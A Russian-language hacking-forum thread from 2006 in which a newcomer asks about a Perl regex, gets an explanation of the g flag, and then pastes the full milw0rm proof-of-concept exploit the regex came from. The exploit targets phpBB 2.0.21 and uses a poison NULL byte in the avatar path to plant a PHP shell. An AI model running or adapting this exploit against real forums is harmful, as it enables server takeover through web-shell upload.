Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

11.11.2006, 03:26
|
|
Новичок
Регистрация: 10.11.2006
Сообщений: 10
Провел на форуме: 7786
Репутация:
1
|
|
Вопрос по perl
ктонить может мне объяснить что вот это делает -
$content=~ m/true&sid=([^"]+)"/g;
как я понимаю m// это функция сравнения... но что значит ([^"]+)" и флаг g?
|
|
|

11.11.2006, 03:59
|
|
Новичок
Регистрация: 10.11.2006
Сообщений: 10
Провел на форуме: 7786
Репутация:
1
|
|
эээ ну кароче я сам всё разобрал... кроме флага g
|
|
|

11.11.2006, 06:38
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Сообщение от kubik
что значит ([^"]+)" и флаг g?
([^"]+)" - Поместить в $1 всё до первой двойной кавычки
флаг g - Продолжить поиск с того места, где остановился в прошлый раз.
|
|
|

11.11.2006, 07:30
|
|
Новичок
Регистрация: 10.11.2006
Сообщений: 10
Провел на форуме: 7786
Репутация:
1
|
|
значит получается так ?
m/true&sid=([^"]+)"/g; ищет строку "true&sid=x" где x как минимум одна литера перед тем как мы найдём ковычку (") ? ну и потом g продолжает всё это дело?
|
|
|

11.11.2006, 07:43
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Сообщение от kubik
ну и потом g продолжает всё это дело?
Смотря что у тебя в программе, продолжать оно будет после того как заново поподёт в это или другое регулярное выражение, имеющее флаг g и работающее с этой переменной.
|
|
|

11.11.2006, 08:04
|
|
Новичок
Регистрация: 10.11.2006
Сообщений: 10
Провел на форуме: 7786
Репутация:
1
|
|
мммм....это работает (продолжение поиска) только если это выражение в цикле? или просто в лубом другом месте где я его использую на этойже строке?
|
|
|

11.11.2006, 08:13
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Я вот не пойму, для чего спрашивать, разьве нельзя установить перл и попробовать?
Код:
$text='123 456 789';
$text=~m/(\d+)/g;
print "$1\n";
$text=~m/(\d+)/g;
print "$1\n";
$text=~m/(\d+)/g;
print "$1\n";
Результат
|
|
|

11.11.2006, 08:39
|
|
Новичок
Регистрация: 10.11.2006
Сообщений: 10
Провел на форуме: 7786
Репутация:
1
|
|
спрашиваю потомучто не знаю что пробывать. чтобы понять....
|
|
|

11.11.2006, 09:22
|
|
Новичок
Регистрация: 10.11.2006
Сообщений: 10
Провел на форуме: 7786
Репутация:
1
|
|
вот откуда я это взял -
Код:
#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
#
# Poison NULL byte vulnerability for perl CGI applications was described
# in [1]. ShAnKaR noted, that same vulnerability also affects different
# PHP applications. An example of vulnerable applications are phpBB and
# punBB.
#
# Vulnerability can be used to upload or replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
#
# In case of phpBB and punBB vulnerability can be exploited by changing
# location of avatar file and uploading avatar file with PHP code in EXIF
# data.
#
# A PoC exploit to change Avatar file location for phpBB:
#
#
use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);
$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}
# milw0rm.com [2006-09-11]
вот я не пойму...как это экспроит может работать? как мне кажется всё что он делает - логинит юзера, берёт его sid идентификатор после и пытается зайти в администрацию с этим сид-ом...
я поставил себе phpbb2.0.21 и с виртуальной машины запустил этот код...ничего конечно не сработало...ошибка была в том что сид не получался вообще. и так как $content=~ m/true&sid=([^"]+)"/g; именно тот код который его должен получить я хотел спросить чё вообще этот код делать должен
|
|
|

11.11.2006, 18:56
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
На самом деле, флаг g там действительно безсмыслен(скорее всего по привычке поставил), а для работы эксплоита, вроди бы надо иметь админские права, тода он установить в путь к аватарам так, чтоб можно было залить шэлл.
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Proxy FAQ
|
foreva |
Чужие Статьи |
12 |
04.01.2008 12:15 |
|
perl вопрос
|
koi8-r |
PHP, PERL, MySQL, JavaScript |
5 |
22.04.2006 13:46 |
|
ЕсТь ВоПрос
|
Guma |
Чаты |
4 |
26.10.2005 21:48 |
|
Books Perl
|
FRAGNATIC |
PHP, PERL, MySQL, JavaScript |
0 |
11.08.2005 16:58 |
|
Вопрос...
|
Black_Death |
Болталка |
1 |
05.01.2005 04:56 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|